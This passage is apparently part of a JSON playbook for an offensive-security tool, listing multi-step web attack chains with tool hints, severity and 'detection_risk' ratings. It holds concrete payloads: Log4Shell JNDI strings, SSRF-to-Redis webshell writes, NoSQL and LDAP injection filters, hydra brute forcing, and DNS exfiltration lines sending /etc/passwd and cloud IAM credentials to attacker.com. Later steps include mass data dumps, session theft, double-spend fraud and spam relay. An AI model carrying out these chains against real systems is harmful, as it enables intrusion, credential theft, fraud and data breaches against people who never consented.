"prerequisites": ["Stored user input", "Admin panel queries stored data", "No output encoding"],
|
|
357
|
-
"post_exploitation": ["Data breach", "Credential theft", "Admin compromise"]
|
|
358
|
-
},
|
|
359
|
-
{
|
|
360
|
-
"id": "mass_assignment_to_admin_takeover",
|
|
361
|
-
"name": "Mass Assignment to Admin Takeover",
|
|
362
|
-
"description": "Exploit mass assignment to grant admin role without authorization",
|
|
363
|
-
"triggers": ["mass assignment", "auto-binding", "role", "admin", "is_admin"],
|
|
364
|
-
"steps": [
|
|
365
|
-
{"order": 1, "description": "Identify mass assignment: PUT /api/profile with extra fields", "tool_hint": "manual", "success_criteria": "Extra fields accepted"},
|
|
366
|
-
{"order": 2, "description": "Add role=admin: {\"role\":\"admin\",\"isStaff\":true}", "tool_hint": "manual", "success_criteria": "Response includes admin role"},
|
|
367
|
-
{"order": 3, "description": "Verify admin access: access /admin panel", "tool_hint": "browser", "success_criteria": "Admin panel accessible"},
|
|
368
|
-
{"order": 4, "description": "Escalate privileges: create users, delete data, export DB", "tool_hint": "manual", "success_criteria": "Full admin control"}
|
|
369
|
-
],
|
|
370
|
-
"required_findings": ["mass assignment", "admin"],
|
|
371
|
-
"severity": "CRITICAL",
|
|
372
|
-
"estimated_time": "30-60 minutes",
|
|
373
|
-
"detection_risk": "LOW",
|
|
374
|
-
"prerequisites": ["Auto-binding framework (Laravel, Rails, ASP.NET)", "No strong type validation"],
|
|
375
|
-
"post_exploitation": ["Full admin access", "Data manipulation", "User creation"]
|
|
376
|
-
},
|
|
377
|
-
{
|
|
378
|
-
"id": "api_key_leak_to_account_takeover",
|
|
379
|
-
"name": "API Key Leakage to Full Account Takeover",
|
|
380
|
-
"description": "Exploit leaked API key in JS/response to impersonate service account",
|
|
381
|
-
"triggers": ["api_key", "apikey", "x-api-key", "secret", "token exposed"],
|
|
382
|
-
"steps": [
|
|
383
|
-
{"order": 1, "description": "Find API key: grep JS files for api_key, secret, token", "tool_hint": "subjs + grep", "success_criteria": "Key found in main.js"},
|
|
384
|
-
{"order": 2, "description": "Test key: use in Authorization header for API call", "tool_hint": "curl", "success_criteria": "API responds with data"},
|
|
385
|
-
{"order": 3, "description": "Enumerate permissions: what endpoints accept this key?", "tool_hint": "manual", "success_criteria": "Scope determined"},
|
|
386
|
-
{"order": 4, "description": "Access all data: users, orders, payments via API", "tool_hint": "curl", "success_criteria": "Full data breach"}
|
|
387
|
-
],
|
|
388
|
-
"required_findings": ["api_key", "apikey"],
|
|
389
|
-
"severity": "CRITICAL",
|
|
390
|
-
"estimated_time": "30-60 minutes",
|
|
391
|
-
"detection_risk": "LOW",
|
|
392
|
-
"prerequisites": ["API key in client-side code", "No IP/domain restriction", "Over-permissive scope"],
|
|
393
|
-
"post_exploitation": ["Full API access", "Data breach", "Service impersonation"]
|
|
394
|
-
},
|
|
395
|
-
{
|
|
396
|
-
"id": "spring_actuator_to_jmx_rce",
|
|
397
|
-
"name": "Spring Boot Actuator to JMX RCE",
|
|
398
|
-
"description": "Exploit exposed Spring Boot Actuator to achieve RCE via JMX endpoint",
|
|
399
|
-
"triggers": ["spring boot", "actuator", "jolokia", "jmx", "/actuator"],
|
|
400
|
-
"steps": [
|
|
401
|
-
{"order": 1, "description": "Enumerate actuator endpoints: GET /actuator, /actuator/jolokia", "tool_hint": "manual", "success_criteria": "Jolokia endpoint accessible"},
|
|
402
|
-
{"order": 2, "description": "List MBeans: GET /actuator/jolokia/list", "tool_hint": "manual", "success_criteria": "MBean list obtained"},
|
|
403
|
-
{"order": 3, "description": "Execute via MBeanServer: createMBean with malicious class", "tool_hint": "manual", "success_criteria": "Command executed"},
|
|
404
|
-
{"order": 4, "description": "Alternative: invoke Logback JNDI injection", "tool_hint": "manual", "success_criteria": "RCE confirmed"}
|
|
405
|
-
],
|
|
406
|
-
"required_findings": ["actuator", "spring"],
|
|
407
|
-
"severity": "CRITICAL",
|
|
408
|
-
"estimated_time": "30-60 minutes",
|
|
409
|
-
"detection_risk": "MEDIUM",
|
|
410
|
-
"prerequisites": ["Spring Boot Actuator exposed", "Jolokia endpoint accessible", "No auth on /actuator"],
|
|
411
|
-
"post_exploitation": ["Full server compromise", "Data exfiltration", "Lateral movement"]
|
|
412
|
-
},
|
|
413
|
-
{
|
|
414
|
-
"id": "cors_misconfig_to_session_theft",
|
|
415
|
-
"name": "CORS Misconfiguration to Session Token Theft",
|
|
416
|
-
"description": "Exploit CORS with credentials to steal session tokens via cross-origin XHR",
|
|
417
|
-
"triggers": ["cors", "access-control", "cross-origin", "credentials"],
|
|
418
|
-
"steps": [
|
|
419
|
-
{"order": 1, "description": "Test CORS: send Origin: https://evil.com, check Access-Control-Allow-Origin", "tool_hint": "manual", "success_criteria": "Origin reflected with Credentials: true"},
|
|
420
|
-
{"order": 2, "description": "Craft malicious page: XHR to /api/user with credentials:include", "tool_hint": "manual", "success_criteria": "Response readable via JS"},
|
|
421
|
-
{"order": 3, "description": "Host phishing page, send to victim", "tool_hint": "manual", "success_criteria": "Victim visits page"},
|
|
422
|
-
{"order": 4, "description": "Steal session token from response JSON", "tool_hint": "javascript", "success_criteria": "Token exfiltrated"}
|
|
423
|
-
],
|
|
424
|
-
"required_findings": ["cors", "session"],
|
|
425
|
-
"severity": "HIGH",
|
|
426
|
-
"estimated_time": "1-2 hours",
|
|
427
|
-
"detection_risk": "LOW",
|
|
428
|
-
"prerequisites": ["CORS with wildcard/regex origin", "credentials allowed", "Session in response body"],
|
|
429
|
-
"post_exploitation": ["Session hijacking", "Account takeover", "API abuse"]
|
|
430
|
-
},
|
|
431
|
-
{
|
|
432
|
-
"id": "subdomain_takeover_to_cookie_theft",
|
|
433
|
-
"name": "Subdomain Takeover to Cookie Theft",
|
|
434
|
-
"description": "Claim dangling subdomain CNAME to steal parent domain cookies",
|
|
435
|
-
"triggers": ["subdomain takeover", "cname", "dangling", "s3", "github pages"],
|
|
436
|
-
"steps": [
|
|
437
|
-
{"order": 1, "description": "Find dangling CNAME: shop.target.com → shops.myshopify.com (404)", "tool_hint": "subzy", "success_criteria": "Claimable subdomain found"},
|
|
438
|
-
{"order": 2, "description": "Register and claim subdomain on provider (Shopify, S3, GitHub)", "tool_hint": "manual", "success_criteria": "Subdomain under attacker control"},
|
|
439
|
-
{"order": 3, "description": "Set cookie on *.target.com via malicious JS", "tool_hint": "javascript", "success_criteria": "Cookie set on parent domain"},
|
|
440
|
-
{"order": 4, "description": "Steal session when victim visits main domain", "tool_hint": "javascript", "success_criteria": "Session cookie captured"}
|
|
441
|
-
],
|
|
442
|
-
"required_findings": ["subdomain", "cname"],
|
|
443
|
-
"severity": "HIGH",
|
|
444
|
-
"estimated_time": "1-2 hours",
|
|
445
|
-
"detection_risk": "LOW",
|
|
446
|
-
"prerequisites": ["Dangling CNAME", "Cookie scope includes subdomain", "No HttpOnly"],
|
|
447
|
-
"post_exploitation": ["Session hijacking", "Phishing from trusted subdomain", "Brand abuse"]
|
|
448
|
-
},
|
|
449
|
-
{
|
|
450
|
-
"id": "ssrf_to_redis_rce",
|
|
451
|
-
"name": "SSRF to Redis RCE via Gopher",
|
|
452
|
-
"description": "Exploit SSRF with gopher:// to execute Redis commands and write webshell",
|
|
453
|
-
"triggers": ["ssrf", "redis", "gopher", "internal service"],
|
|
454
|
-
"steps": [
|
|
455
|
-
{"order": 1, "description": "Confirm SSRF: callback to attacker DNS", "tool_hint": "interactsh", "success_criteria": "DNS received"},
|
|
456
|
-
{"order": 2, "description": "Probe internal Redis: gopher://127.0.0.1:6379/_PING", "tool_hint": "manual", "success_criteria": "+PONG response"},
|
|
457
|
-
{"order": 3, "description": "Write webshell: gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html", "tool_hint": "manual", "success_criteria": "Webshell written"},
|
|
458
|
-
{"order": 4, "description": "Access webshell via HTTP", "tool_hint": "browser", "success_criteria": "RCE confirmed"}
|
|
459
|
-
],
|
|
460
|
-
"required_findings": ["ssrf", "redis"],
|
|
461
|
-
"severity": "CRITICAL",
|
|
462
|
-
"estimated_time": "1-2 hours",
|
|
463
|
-
"detection_risk": "MEDIUM",
|
|
464
|
-
"prerequisites": ["SSRF with gopher/dict scheme", "Redis on localhost:6379", "Writable web root"],
|
|
465
|
-
"post_exploitation": ["Full server compromise", "Webshell persistence", "Data theft"]
|
|
466
|
-
},
|
|
467
|
-
{
|
|
468
|
-
"id": "default_creds_to_internal_pivot",
|
|
469
|
-
"name": "Default Credentials to Internal Network Pivot",
|
|
470
|
-
"description": "Exploit default admin credentials to access management console and pivot to internal network",
|
|
471
|
-
"triggers": ["default credentials", "admin/admin", "management console", "panel"],
|
|
472
|
-
"steps": [
|
|
473
|
-
{"order": 1, "description": "Identify admin panel: /admin, /manager, /console", "tool_hint": "nuclei", "success_criteria": "Login page found"},
|
|
474
|
-
{"order": 2, "description": "Test default creds: admin/admin, admin/password, tomcat/tomcat", "tool_hint": "hydra", "success_criteria": "Login successful"},
|
|
475
|
-
{"order": 3, "description": "Access management features: deploy, execute, config", "tool_hint": "manual", "success_criteria": "Privileged action available"},
|
|
476
|
-
{"order": 4, "description": "Deploy malicious app or execute system command", "tool_hint": "manual", "success_criteria": "RCE confirmed"}
|
|
477
|
-
],
|
|
478
|
-
"required_findings": ["admin", "default"],
|
|
479
|
-
"severity": "HIGH",
|
|
480
|
-
"estimated_time": "30-60 minutes",
|
|
481
|
-
"detection_risk": "MEDIUM",
|
|
482
|
-
"prerequisites": ["Default credentials unchanged", "Management console exposed", "No MFA"],
|
|
483
|
-
"post_exploitation": ["Full admin access", "App deployment", "Network pivot"]
|
|
484
|
-
},
|
|
485
|
-
{
|
|
486
|
-
"id": "open_redirect_to_oauth_theft",
|
|
487
|
-
"name": "Open Redirect to OAuth Token Theft",
|
|
488
|
-
"description": "Exploit open redirect in OAuth flow to steal authorization codes",
|
|
489
|
-
"triggers": ["open redirect", "oauth", "redirect_uri", "return_url"],
|
|
490
|
-
"steps": [
|
|
491
|
-
{"order": 1, "description": "Find open redirect: /redirect?url=https://attacker.com", "tool_hint": "manual", "success_criteria": "Redirect accepted"},
|
|
492
|
-
{"order": 2, "description": "Craft OAuth URL: /authorize?client_id=X&redirect_uri=https://target.com/redirect?url=https://attacker.com", "tool_hint": "manual", "success_criteria": "OAuth flow initiated"},
|
|
493
|
-
{"order": 3, "description": "Victim authorizes, redirected to attacker.com with code", "tool_hint": "manual", "success_criteria": "Auth code in Referer"},
|
|
494
|
-
{"order": 4, "description": "Exchange code for access token", "tool_hint": "curl", "success_criteria": "Token obtained"}
|
|
495
|
-
],
|
|
496
|
-
"required_findings": ["redirect", "oauth"],
|
|
497
|
-
"severity": "HIGH",
|
|
498
|
-
"estimated_time": "1-2 hours",
|
|
499
|
-
"detection_risk": "LOW",
|
|
500
|
-
"prerequisites": ["OAuth implementation", "Open redirect in redirect_uri chain"],
|
|
501
|
-
"post_exploitation": ["Account takeover", "API access", "Session hijacking"]
|
|
502
|
-
},
|
|
503
|
-
{
|
|
504
|
-
"id": "sqli_to_hash_dump_and_crack",
|
|
505
|
-
"name": "SQLi to Password Hash Dump and Crack",
|
|
506
|
-
"description": "Dump password hashes via SQLi and crack offline with hashcat",
|
|
507
|
-
"triggers": ["sql injection", "password hash", "users table", "md5", "bcrypt"],
|
|
508
|
-
"steps": [
|
|
509
|
-
{"order": 1, "description": "Confirm SQLi and extract database name", "tool_hint": "sqlmap", "success_criteria": "Database name obtained"},
|
|
510
|
-
{"order": 2, "description": "Dump users table: UNION SELECT email, password FROM users", "tool_hint": "sqlmap", "success_criteria": "Hashes obtained"},
|
|
511
|
-
{"order": 3, "description": "Identify hash type: MD5, SHA256, bcrypt", "tool_hint": "hashid", "success_criteria": "Hash type determined"},
|
|
512
|
-
{"order": 4, "description": "Crack with hashcat: -m 0 (MD5), -m 100 (SHA1), -m 3200 (bcrypt)", "tool_hint": "hashcat", "success_criteria": "Plaintext passwords recovered"}
|
|
513
|
-
],
|
|
514
|
-
"required_findings": ["sql injection", "hash"],
|
|
515
|
-
"severity": "HIGH",
|
|
516
|
-
"estimated_time": "1-6 hours",
|
|
517
|
-
"detection_risk": "MEDIUM",
|
|
518
|
-
"prerequisites": ["SQLi with UNION extraction", "Password hashes in DB", "Weak hashing (MD5/SHA1)"],
|
|
519
|
-
"post_exploitation": ["Credential breach", "Account takeover", "Password reuse attacks"]
|
|
520
|
-
},
|
|
521
|
-
{
|
|
522
|
-
"id": "log4shell_jndi_rce",
|
|
523
|
-
"name": "Log4Shell JNDI Injection to RCE",
|
|
524
|
-
"description": "Exploit Log4j JNDI injection to achieve RCE via LDAP/RMI callback",
|
|
525
|
-
"triggers": ["log4j", "log4shell", "jndi", "java", "ldap injection"],
|
|
526
|
-
"steps": [
|
|
527
|
-
{"order": 1, "description": "Identify Java app with Log4j (User-Agent logging, error logs)", "tool_hint": "manual", "success_criteria": "Log4j confirmed"},
|
|
528
|
-
{"order": 2, "description": "Inject JNDI: ${jndi:ldap://attacker.com/a}", "tool_hint": "manual", "success_criteria": "LDAP callback received"},
|
|
529
|
-
{"order": 3, "description": "Host malicious LDAP server returning Exploit.class", "tool_hint": "rogue_jndi", "success_criteria": "Class loaded on target"},
|
|
530
|
-
{"order": 4, "description": "Execute payload: reverse shell or command", "tool_hint": "manual", "success_criteria": "RCE confirmed"}
|
|
531
|
-
],
|
|
532
|
-
"required_findings": ["log4j", "java"],
|
|
533
|
-
"severity": "CRITICAL",
|
|
534
|
-
"estimated_time": "1-2 hours",
|
|
535
|
-
"detection_risk": "HIGH",
|
|
536
|
-
"prerequisites": ["Log4j 2.0-2.14.1", "JNDI allowed", "Outbound LDAP/RMI permitted"],
|
|
537
|
-
"post_exploitation": ["Full server compromise", "Data exfiltration", "Lateral movement"]
|
|
538
|
-
},
|
|
539
|
-
{
|
|
540
|
-
"id": "blind_ssrf_to_oob_exfil",
|
|
541
|
-
"name": "Blind SSRF to OOB Data Exfiltration",
|
|
542
|
-
"description": "Exfiltrate internal data via blind SSRF using DNS subdomain encoding",
|
|
543
|
-
"triggers": ["ssrf", "blind ssrf", "oob", "dns callback"],
|
|
544
|
-
"steps": [
|
|
545
|
-
{"order": 1, "description": "Confirm blind SSRF: DNS callback to interactsh", "tool_hint": "interactsh", "success_criteria": "DNS received"},
|
|
546
|
-
{"order": 2, "description": "Exfil via DNS: http://$(whoami|base64).attacker.com", "tool_hint": "manual", "success_criteria": "Subdomain decoded to command output"},
|
|
547
|
-
{"order": 3, "description": "Read internal file: http://$(cat /etc/passwd|base64).attacker.com", "tool_hint": "manual", "success_criteria": "File content exfiltrated"},
|
|
548
|
-
{"order": 4, "description": "Extract cloud metadata: http://$(curl 169.254.169.254/latest/meta-data/iam|base64).attacker.com", "tool_hint": "manual", "success_criteria": "IAM credentials obtained"}
|
|
549
|
-
],
|
|
550
|
-
"required_findings": ["ssrf", "blind"],
|
|
551
|
-
"severity": "HIGH",
|
|
552
|
-
"estimated_time": "1-2 hours",
|
|
553
|
-
"detection_risk": "LOW",
|
|
554
|
-
"prerequisites": ["Blind SSRF", "Outbound DNS allowed", "Command execution in URL context"],
|
|
555
|
-
"post_exploitation": ["Data exfiltration", "Credential theft", "Internal enumeration"]
|
|
556
|
-
},
|
|
557
|
-
{
|
|
558
|
-
"id": "graphql_batching_to_credential_stuffing",
|
|
559
|
-
"name": "GraphQL Batching to Credential Stuffing",
|
|
560
|
-
"description": "Abuse GraphQL batched mutations to bypass rate limiting for credential stuffing",
|
|
561
|
-
"triggers": ["graphql", "batching", "login mutation", "rate limit bypass"],
|
|
562
|
-
"steps": [
|
|
563
|
-
{"order": 1, "description": "Identify login mutation: mutation { login(email:, password:) }", "tool_hint": "introspection", "success_criteria": "Mutation signature found"},
|
|
564
|
-
{"order": 2, "description": "Craft batch request: [{\"query\":\"mutation{login(e:'a',p:'x')}\"}, ...] x1000", "tool_hint": "manual", "success_criteria": "All mutations processed"},
|
|
565
|
-
{"order": 3, "description": "Analyze responses: different length/error for valid credentials", "tool_hint": "manual", "success_criteria": "Valid creds identified"},
|
|
566
|
-
{"order": 4, "description": "Login with valid credentials", "tool_hint": "manual", "success_criteria": "Account access confirmed"}
|
|
567
|
-
],
|
|
568
|
-
"required_findings": ["graphql", "login"],
|
|
569
|
-
"severity": "HIGH",
|
|
570
|
-
"estimated_time": "2-4 hours",
|
|
571
|
-
"detection_risk": "MEDIUM",
|
|
572
|
-
"prerequisites": ["GraphQL batching enabled", "No per-mutation rate limit", "Differential response"],
|
|
573
|
-
"post_exploitation": ["Account takeover", "Credential breach", "Data theft"]
|
|
574
|
-
},
|
|
575
|
-
{
|
|
576
|
-
"id": "account_enum_to_brute_force",
|
|
577
|
-
"name": "Account Enumeration to Targeted Brute Force",
|
|
578
|
-
"description": "Enumerate valid usernames via differential response, then brute force passwords",
|
|
579
|
-
"triggers": ["account enumeration", "username discovery", "login", "password reset"],
|
|
580
|
-
"steps": [
|
|
581
|
-
{"order": 1, "description": "Test registration: admin@target.com vs random@target.com", "tool_hint": "manual", "success_criteria": "Different error messages"},
|
|
582
|
-
{"order": 2, "description": "Enumerate via password reset: 'user exists' vs 'user not found'", "tool_hint": "turbo_intruder", "success_criteria": "Valid user list built"},
|
|
583
|
-
{"order": 3, "description": "Brute force with valid usernames: hydra -l admin -p rockyou.txt", "tool_hint": "hydra", "success_criteria": "Password cracked"},
|
|
584
|
-
{"order": 4, "description": "Login with cracked credentials", "tool_hint": "manual", "success_criteria": "Account access confirmed"}
|
|
585
|
-
],
|
|
586
|
-
"required_findings": ["enumeration", "login"],
|
|
587
|
-
"severity": "MEDIUM",
|
|
588
|
-
"estimated_time": "2-6 hours",
|
|
589
|
-
"detection_risk": "HIGH",
|
|
590
|
-
"prerequisites": ["Differential error messages", "No rate limiting", "Weak passwords"],
|
|
591
|
-
"post_exploitation": ["Account takeover", "PII access", "Lateral movement"]
|
|
592
|
-
},
|
|
593
|
-
{
|
|
594
|
-
"id": "nosql_injection_to_data_theft",
|
|
595
|
-
"name": "NoSQL Injection to Mass Data Theft",
|
|
596
|
-
"description": "Exploit NoSQL operator injection to bypass auth and exfiltrate database",
|
|
597
|
-
"triggers": ["nosql", "mongodb", "json injection", "$where", "$ne"],
|
|
598
|
-
"steps": [
|
|
599
|
-
{"order": 1, "description": "Confirm NoSQLi: {\"username\":{\"$ne\":null},\"password\":{\"$ne\":null}}", "tool_hint": "manual", "success_criteria": "Auth bypassed"},
|
|
600
|
-
{"order": 2, "description": "Enumerate collections: {\"$where\":\"this.constructor.name=='Collection'\"}", "tool_hint": "manual", "success_criteria": "Collection names obtained"},
|
|
601
|
-
{"order": 3, "description": "Dump users: {\"$where\":\"return true\"} with projection {email:1, password:1}", "tool_hint": "manual", "success_criteria": "User data extracted"},
|
|
602
|
-
{"order": 4, "description": "Blind extraction: {\"password\":{\"$regex\":\"^a\"}} — iterate chars", "tool_hint": "nosqlmap", "success_criteria": "Full DB dumped"}
|
|
603
|
-
],
|
|
604
|
-
"required_findings": ["nosql", "mongodb"],
|
|
605
|
-
"severity": "CRITICAL",
|
|
606
|
-
"estimated_time": "1-3 hours",
|
|
607
|
-
"detection_risk": "MEDIUM",
|
|
608
|
-
"prerequisites": ["MongoDB/CouchDB", "Operator injection possible", "No input validation"],
|
|
609
|
-
"post_exploitation": ["Full database dump", "Credential theft", "Data breach"]
|
|
610
|
-
},
|
|
611
|
-
{
|
|
612
|
-
"id": "ldap_injection_to_auth_bypass",
|
|
613
|
-
"name": "LDAP Injection to Authentication Bypass",
|
|
614
|
-
"description": "Exploit LDAP filter injection to bypass auth and enumerate directory",
|
|
615
|
-
"triggers": ["ldap", "active directory", "saml", "adfs", "ou=", "dc="],
|
|
616
|
-
"steps": [
|
|
617
|
-
{"order": 1, "description": "Confirm LDAPi: admin*)(uid=*))(|(uid=*", "tool_hint": "manual", "success_criteria": "Auth bypassed"},
|
|
618
|
-
{"order": 2, "description": "Enumerate users: admin*)(uid=*))(|(uid=*a*) — check response delta", "tool_hint": "manual", "success_criteria": "User list built"},
|
|
619
|
-
{"order": 3, "description": "Extract attributes: *(objectClass=*))(|(objectClass=*)", "tool_hint": "manual", "success_criteria": "mail, memberOf obtained"},
|
|
620
|
-
{"order": 4, "description": "Dump full directory via automated script", "tool_hint": "manual", "success_criteria": "AD compromised"}
|
|
621
|
-
],
|
|
622
|
-
"required_findings": ["ldap", "active directory"],
|
|
623
|
-
"severity": "CRITICAL",
|
|
624
|
-
"estimated_time": "1-2 hours",
|
|
625
|
-
"detection_risk": "MEDIUM",
|
|
626
|
-
"prerequisites": ["LDAP authentication", "Unsanitized input", "Anonymous bind allowed"],
|
|
627
|
-
"post_exploitation": ["Auth bypass", "Directory enumeration", "Credential theft"]
|
|
628
|
-
},
|
|
629
|
-
{
|
|
630
|
-
"id": "race_condition_to_double_spend",
|
|
631
|
-
"name": "Race Condition to Double-Spend Attack",
|
|
632
|
-
"description": "Exploit race condition in financial endpoint for double-spend or coupon abuse",
|
|
633
|
-
"triggers": ["race condition", "concurrent", "double-spend", "coupon", "transfer"],
|
|
634
|
-
"steps": [
|
|
635
|
-
{"order": 1, "description": "Identify state-changing endpoint: /transfer, /redeem, /withdraw", "tool_hint": "manual", "success_criteria": "Target endpoint found"},
|
|
636
|
-
{"order": 2, "description": "Send 50 concurrent requests with same payload", "tool_hint": "turbo_intruder", "success_criteria": "Multiple applications successful"},
|
|
637
|
-
{"order": 3, "description": "Verify impact: balance negative, coupon used 50x", "tool_hint": "manual", "success_criteria": "Financial impact confirmed"},
|
|
638
|
-
{"order": 4, "description": "Document PoC: video + request logs", "tool_hint": "manual", "success_criteria": "Reproducible PoC"}
|
|
639
|
-
],
|
|
640
|
-
"required_findings": ["race condition", "financial"],
|
|
641
|
-
"severity": "CRITICAL",
|
|
642
|
-
"estimated_time": "1-2 hours",
|
|
643
|
-
"detection_risk": "MEDIUM",
|
|
644
|
-
"prerequisites": ["No optimistic locking", "No idempotency key", "Weak transaction isolation"],
|
|
645
|
-
"post_exploitation": ["Financial fraud", "Coupon abuse", "Data manipulation"]
|
|
646
|
-
},
|
|
647
|
-
{
|
|
648
|
-
"id": "email_injection_to_spam_relay",
|
|
649
|
-
"name": "Email Header Injection to Spam Relay",
|
|
650
|
-
"description": "Abuse contact form as spam relay via CC/BCC header injection",
|
|
651
|
-
"triggers": ["email", "contact form", "invite", "feedback", "cc:", "bcc:"],
|
|
652
|
-
"steps": [
|
|
653
|
-
{"order": 1, "description": "Identify email functionality: contact, invite, feedback", "tool_hint": "manual", "success_criteria": "Email form found"},
|
|
654
|
-
{"order": 2, "description": "Inject CC: name%0ACc:victim1@example.com,victim2@example.com", "tool_hint": "manual", "success_criteria": "Emails sent to victims"},
|
|
655
|
-
{"order": 3, "description": "Forge sender: subject=Invoice%0AFrom:billing@target.com", "tool_hint": "manual", "success_criteria": "Email appears from target.com"},
|
|
656
|
-
{"order": 4, "description": "Mass spam: automate injection for bulk sending", "tool_hint": "script", "success_criteria": "Spam relay confirmed"}
|
|
657
|
-
],
|
|
658
|
-
"required_findings": ["email", "contact"],
|
|
659
|
-
"severity": "MEDIUM",
|
|
660
|
-
"estimated_time": "30-60 minutes",
|
|
661
|
-
"detection_risk": "HIGH",
|
|
662
|
-
"prerequisites": ["String concatenation in email", "No header sanitization", "Mail server allows relay"],
|
|
663
|
-
"post_exploitation": ["Spam relay", "Phishing from trusted domain", "Reputation damage"]
|
|
664
|
-
}
|
|
665
|
-
]
|
|
666
|
-
}
|